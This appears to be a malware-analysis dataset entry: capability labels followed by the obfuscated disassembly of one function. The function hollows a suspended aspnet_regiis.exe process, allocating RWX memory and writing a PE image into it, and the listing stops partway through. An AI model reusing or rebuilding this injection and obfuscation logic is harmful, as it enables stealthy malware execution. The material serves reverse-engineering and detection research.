Function at 0x100037c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x140
mov eax, dword [0x100cd804]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x100cea98]
mov eax, dword [0x100cea94]
mov edx, ecx
sub edx, 0xb7c98ca6
sub edx, 1
add edx, 0xb7c98ca6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x142], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x141], al
mov dword [ebp - 0x148], 0x43d2dc67
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x14c], eax
sub eax, 0x817d5168
je 0x100057eb
jmp 0x1000383b
mov eax, dword [ebp - 0x14c]
sub eax, 0x8296155b
je 0x10005b59
jmp 0x10003851
mov eax, dword [ebp - 0x14c]
sub eax, 0x866e088e
je 0x10004b81
jmp 0x10003867
mov eax, dword [ebp - 0x14c]
sub eax, 0x88166a83
je 0x10005096
jmp 0x1000387d
mov eax, dword [ebp - 0x14c]
sub eax, 0x8aafd188
je 0x10005f09
jmp 0x10003893
mov eax, dword [ebp - 0x14c]
sub eax, 0x8dfc7f49
je 0x10004cf4
jmp 0x100038a9
mov eax, dword [ebp - 0x14c]
sub eax, 0x935556c4
je 0x10005db8
jmp 0x100038bf
mov eax, dword [ebp - 0x14c]
sub eax, 0x935a61ac
je 0x100064f4
jmp 0x100038d5
mov eax, dword [ebp - 0x14c]
sub eax, 0x93c3be37
je 0x1000599e
jmp 0x100038eb
mov eax, dword [ebp - 0x14c]
sub eax, 0x95456c30
je 0x10006255
jmp 0x10003901
mov eax, dword [ebp - 0x14c]
sub eax, 0x9b3ac141
je 0x100058df
jmp 0x10003917
mov eax, dword [ebp - 0x14c]
sub eax, 0x9d1ace25
je 0x100060a2
jmp 0x1000392d
mov eax, dword [ebp - 0x14c]
sub eax, 0x9f4db6eb
je 0x100066b2
jmp 0x10003943
mov eax, dword [ebp - 0x14c]
sub eax, 0xa1d15465
je 0x100068dc
jmp 0x10003959
mov eax, dword [ebp - 0x14c]
sub eax, 0xa28e42c8
je 0x10005148
jmp 0x1000396f
mov eax, dword [ebp - 0x14c]
sub eax, 0xa3885be2
je 0x10004a81
jmp 0x10003985
mov eax, dword [ebp - 0x14c]
sub eax, 0xa48f1583
je 0x100066cd
jmp 0x1000399b
mov eax, dword [ebp - 0x14c]
sub eax, 0xa717bf9e
je 0x10004f8e
jmp 0x100039b1
mov eax, dword [ebp - 0x14c]
sub eax, 0xa931c656
je 0x10005461
jmp 0x100039c7
mov eax, dword [ebp - 0x14c]
sub eax, 0xaa0485e5
je 0x10005718
jmp 0x100039dd
mov eax, dword [ebp - 0x14c]
sub eax, 0xaa4cbfa2
je 0x100053e8
jmp 0x100039f3
mov eax, dword [ebp - 0x14c]
sub eax, 0xaac16243
je 0x10005da9
jmp 0x10003a09
mov eax, dword [ebp - 0x14c]
sub eax, 0xab4c5593
je 0x1000524a
jmp 0x10003a1f
mov eax, dword [ebp - 0x14c]
sub eax, 0xb31af31c
je 0x10004c66
jmp 0x10003a35
mov eax, dword [ebp - 0x14c]
sub eax, 0xb5ff3a81
je 0x1000478c
jmp 0x10003a4b
mov eax, dword [ebp - 0x14c]
sub eax, 0xb6b395f9
je 0x10005cdb
jmp 0x10003a61
mov eax, dword [ebp - 0x14c]
sub eax, 0xb6fb12b3
je 0x10005cea
jmp 0x10003a77
mov eax, dword [ebp - 0x14c]
sub eax, 0xba8e0ed1
je 0x100050ee
jmp 0x10003a8d
mov eax, dword [ebp - 0x14c]
sub eax, 0xba9004df
je 0x1000604c
jmp 0x10003aa3
mov eax, dword [ebp - 0x14c]
sub eax, 0xbaec39db
je 0x10005bcc
jmp 0x10003ab9
mov eax, dword [ebp - 0x14c]
sub eax, 0xc1a265cc
je 0x10005517
jmp 0x10003acf
mov eax, dword [ebp - 0x14c]
sub eax, 0xc67e2ca0
je 0x10004e85
jmp 0x10003ae5
mov eax, dword [ebp - 0x14c]
sub eax, 0xc6a01b7f
je 0x100056da
jmp 0x10003afb
mov eax, dword [ebp - 0x14c]
sub eax, 0xc6fc84e8
je 0x10004e94
jmp 0x10003b11
mov eax, dword [ebp - 0x14c]
sub eax, 0xc83e05d5
je 0x10004fdf
jmp 0x10003b27
mov eax, dword [ebp - 0x14c]
sub eax, 0xc9172720
je 0x10005de6
jmp 0x10003b3d
mov eax, dword [ebp - 0x14c]
sub eax, 0xc9a89a52
je 0x10005fea
jmp 0x10003b53
mov eax, dword [ebp - 0x14c]
sub eax, 0xca2fdcbf
je 0x1000537a
jmp 0x10003b69
mov eax, dword [ebp - 0x14c]
sub eax, 0xca6bed55
je 0x100049e1
jmp 0x10003b7f
mov eax, dword [ebp - 0x14c]
sub eax, 0xcc1adc3b
je 0x100054c6
jmp 0x10003b95
mov eax, dword [ebp - 0x14c]
sub eax, 0xcce8b5ae
je 0x10005452
jmp 0x10003bab
mov eax, dword [ebp - 0x14c]
sub eax, 0xcdc92696
je 0x100055ca
jmp 0x10003bc1
mov eax, dword [ebp - 0x14c]
sub eax, 0xce95688a
je 0x10005a35
jmp 0x10003bd7
mov eax, dword [ebp - 0x14c]
sub eax, 0xd3335d2d
je 0x10005602
jmp 0x10003bed
mov eax, dword [ebp - 0x14c]
sub eax, 0xd6d6bb3b
je 0x100046f7
jmp 0x10003c03
mov eax, dword [ebp - 0x14c]
sub eax, 0xd70daae1
je 0x10005b68
jmp 0x10003c19
mov eax, dword [ebp - 0x14c]
sub eax, 0xd9eb5342
je 0x1000483d
jmp 0x10003c2f
mov eax, dword [ebp - 0x14c]
sub eax, 0xdc3f761f
je 0x10004b0c
jmp 0x10003c45
mov eax, dword [ebp - 0x14c]
sub eax, 0xdd589249
je 0x10005fa1
jmp 0x10003c5b
mov eax, dword [ebp - 0x14c]
sub eax, 0xdd91a326
je 0x10006264
jmp 0x10003c71
mov eax, dword [ebp - 0x14c]
sub eax, 0xdd9ab261
je 0x100060dc
jmp 0x10003c87
mov eax, dword [ebp - 0x14c]
sub eax, 0xdf280ecd
je 0x100063ec
jmp 0x10003c9d
mov eax, dword [ebp - 0x14c]
sub eax, 0xe4b44e7c
je 0x10005c50
jmp 0x10003cb3
mov eax, dword [ebp - 0x14c]
sub eax, 0xe7951190
je 0x10006861
jmp 0x10003cc9
mov eax, dword [ebp - 0x14c]
sub eax, 0xe9401273
je 0x1000578e
jmp 0x10003cdf
mov eax, dword [ebp - 0x14c]
sub eax, 0xeafe2ab6
je 0x1000675c
jmp 0x10003cf5
mov eax, dword [ebp - 0x14c]
sub eax, 0xebe6681c
je 0x10005ec7
jmp 0x10003d0b
mov eax, dword [ebp - 0x14c]
sub eax, 0xedd95441
je 0x10005870
jmp 0x10003d21
mov eax, dword [ebp - 0x14c]
sub eax, 0xef5746d2
je 0x100049b5
jmp 0x10003d37
mov eax, dword [ebp - 0x14c]
sub eax, 0xf046d611
je 0x10005d58
jmp 0x10003d4d
mov eax, dword [ebp - 0x14c]
sub eax, 0xf0578177
je 0x10006515
jmp 0x10003d63
mov eax, dword [ebp - 0x14c]
sub eax, 0xf057a85a
je 0x10005f7f
jmp 0x10003d79
mov eax, dword [ebp - 0x14c]
sub eax, 0xf127a6cd
je 0x10005ed6
jmp 0x10003d8f
mov eax, dword [ebp - 0x14c]
sub eax, 0xf1de0bcb
je 0x10005e6b
jmp 0x10003da5
mov eax, dword [ebp - 0x14c]
sub eax, 0xf738b273
je 0x10004df5
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0xc4], eax
mov ecx, dword [0x100cea98]
mov eax, dword [0x100cea94]
mov edx, ecx
sub edx, 0x60a72d2c
sub edx, 1
add edx, 0x60a72d2c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf0578177
mov ecx, 0xb5ff3a81
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov dword [ebp - 0x148], 0x32e7d5e2
jmp 0x10006909
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
mov edx, eax
add edx, 0xf6cb8179
sub edx, 1
sub edx, 0xf6cb8179
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf40d099
mov ecx, 0x7d0edf6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [ebp - 0x124]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x148], 0x517033ff
jmp 0x10006909
mov eax, dword [ebp - 0x124]
mov edx, dword [eax]
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x12c]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xb1], al
mov dword [ebp - 0x148], 0x23aa307f
jmp 0x10006909
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x148], 0x782fa284
jmp 0x10006909
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0xb0]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
cmp eax, 0
setge al
and al, 1
mov byte [ebp - 0xa9], al
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2e739241
mov ecx, 0x866e088e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov dl, byte [ebp - 0xa9]
mov eax, 0x111c5442
mov ecx, 0x1b1e5177
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [ebp - 0x11c]
mov dword [eax], 0
mov eax, dword [ebp - 0x130]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x118]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x148], 0x2fd3b0bb
jmp 0x10006909
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x11c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x130]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov dword [eax], 0
mov dword [ebp - 0x148], 0x10ca41bb
jmp 0x10006909
mov dword [ebp - 0x148], 0xc6fc84e8
jmp 0x10006909
mov eax, dword [ebp - 0xa0]
movzx esi, word [eax]
mov edx, dword [ebp - 0xa4]
mov eax, 0x88166a83
mov ecx, 0xec385d
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
mov edx, eax
sub edx, 0x2f523e78
sub edx, 1
add edx, 0x2f523e78
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x762c36ae
mov ecx, 0xc83e05d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov ecx, dword [0x100cea98]
mov eax, dword [0x100cea94]
mov edx, ecx
sub edx, 0xd3250040
sub edx, 1
add edx, 0xd3250040
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x762c36ae
mov ecx, 0x57ff3ece
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [ebp - 0x104]
mov dword [eax], 0
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x148], 0x38ede806
jmp 0x10006909
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
add eax, 4
add eax, 2
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x148], 0x7ef423f8
jmp 0x10006909
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xfc]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x10c]
mov edx, dword [edx]
mov esi, dword [ebp - 0xfc]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
add ecx, 0x46b0ec06
add ecx, edx
sub ecx, 0x46b0ec06
mov edx, dword [ebp - 0x11c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x10c]
mov esi, dword [esi]
mov edi, dword [ebp - 0xfc]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
add edx, 0x56f34905
add edx, esi
sub edx, 0x56f34905
mov esi, dword [ebp - 0x130]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x148], 0x4afd5b2c
jmp 0x10006909
mov eax, dword [ebp - 0x80]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x10c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xfc]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10003370
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xfc]
imul edx, dword [edx], 0x28
add ecx, edx
cmp eax, dword [ecx + 0xc]
setae al
and al, 1
mov byte [ebp - 0x79], al
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfd60fee9
mov ecx, 0x60c24c03
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov ecx, dword [0x100cea98]
mov eax, dword [0x100cea94]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x32c748a0
mov ecx, 0xaa4cbfa2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x32c748a0
mov ecx, 0xcce8b5ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov dword [ebp - 0x148], 0xa931c656
jmp 0x10006909
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x68]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x70]
add ecx, eax
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov edx, dword [ebp - 0x10c]
mov edx, dword [edx]
mov esi, dword [ebp - 0xfc]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
sub eax, 0x512de758
sub eax, edx
add eax, 0x512de758
add ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x148], 0x2c4ec40e
jmp 0x10006909
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
mov edx, eax
add edx, 0x9fea60ff
sub edx, 1
sub edx, 0x9fea60ff
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x600fe921
mov ecx, 0xc1a265cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
sub ecx, 0x4a545d21
add ecx, 1
add ecx, 0x4a545d21
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov ecx, dword [0x100cea98]
mov eax, dword [0x100cea94]
mov edx, ecx
sub edx, 0x21ca7a50
sub edx, 1
add edx, 0x21ca7a50
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x600fe921
mov ecx, 0xfb822e7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x148], 0x2e549e58
jmp 0x10006909
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
mov edx, eax
sub edx, 0xf7a3dcc
sub edx, 1
add edx, 0xf7a3dcc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f4db6eb
mov ecx, 0x227b1ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov dword [ebp - 0x148], 0x247f7be9
jmp 0x10006909
mov ecx, dword [0x100cea98]
mov eax, dword [0x100cea94]
mov edx, ecx
add edx, 0xfc23e030
sub edx, 1
sub edx, 0xfc23e030
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa48f1583
mov ecx, 0xe9401273
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x55], al
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa48f1583
mov ecx, 0x817d5168
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov dword [ebp - 0x148], 0x419595c4
jmp 0x10006909
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
mov edx, eax
add edx, 0x68e40d27
sub edx, 1
sub edx, 0x68e40d27
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5b836e44
mov ecx, 0xf7a56cfb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
mov edx, eax
add edx, 0x196baf4f
sub edx, 1
sub edx, 0x196baf4f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x76695a53
mov ecx, 0xb6bff56
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov dword [ebp - 0x148], 0x42933154
jmp 0x10006909
mov edx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
mov eax, 0x7fc4ae77
mov ecx, 0x1ca34d8f
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov dword [ebp - 0x148], 0xd70daae1
jmp 0x10006909
mov dl, byte [ebp - 0x45]
mov eax, 0xb6fb12b3
mov ecx, 0x6806e2a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movzx eax, word [eax + ecx*2]
mov ecx, 0xffffffff
xor ecx, 0xfff
mov edx, eax
xor edx, ecx
and edx, eax
mov ecx, dword [ebp - 0x44]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x130]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov edx, eax
mov eax, 0xb6b395f9
mov ecx, 0xe4b44e7c
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ecx]
add ecx, 0x599da827
add ecx, eax
sub ecx, 0x599da827
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x148], 0x576f019d
jmp 0x10006909
mov dword [ebp - 0x148], 0xb6fb12b3
jmp 0x10006909
mov ecx, dword [0x100cea98]
mov eax, dword [0x100cea94]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3bf7265e
mov ecx, 0xf046d611
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
mov edx, eax
add edx, 0x49864bce
sub edx, 1
sub edx, 0x49864bce
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3bf7265e
mov ecx, 0xaac16243
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov dword [ebp - 0x148], 0x935556c4
jmp 0x10006909
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov dword [ebp - 0x148], 0xc9172720
jmp 0x10006909
mov dword [ebp - 0x148], 0x258f60d8
jmp 0x10006909
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
mov edx, eax
sub edx, 0x44afd8ec
sub edx, 1
add edx, 0x44afd8ec
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a233234
mov ecx, 0xebe6681c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov dword [ebp - 0x148], 0xf127a6cd
jmp 0x10006909
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x30]
sub ecx, 0x15fa2163
add ecx, eax
add ecx, 0x15fa2163
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x148], 0xaa0485e5
jmp 0x10006909
mov dword [ebp - 0x148], 0x4b32ac80
jmp 0x10006909
mov edx, dword [ebp - 0x2c]
mov eax, 0xdd91a326
mov ecx, 0xdd589249
cmp dword [edx + 0xac], 0
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeafe2ab6
mov ecx, 0xc9a89a52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx]
add eax, dword [ecx + 0xc0]
mov dword [ebp - 0x28], eax
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeafe2ab6
mov ecx, 0xba9004df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov dword [ebp - 0x148], 0x156ca2d4
jmp 0x10006909
mov edx, dword [ebp - 0x24]
mov eax, 0x95456c30
mov ecx, 0x760b8c04
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10006909
mov eax, dword [0x100cea98]
mov ecx, dword [0x100cea94]
mov edx, eax
add edx, 0xa169d477
sub edx, 1
sub edx, 0xa169d477
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
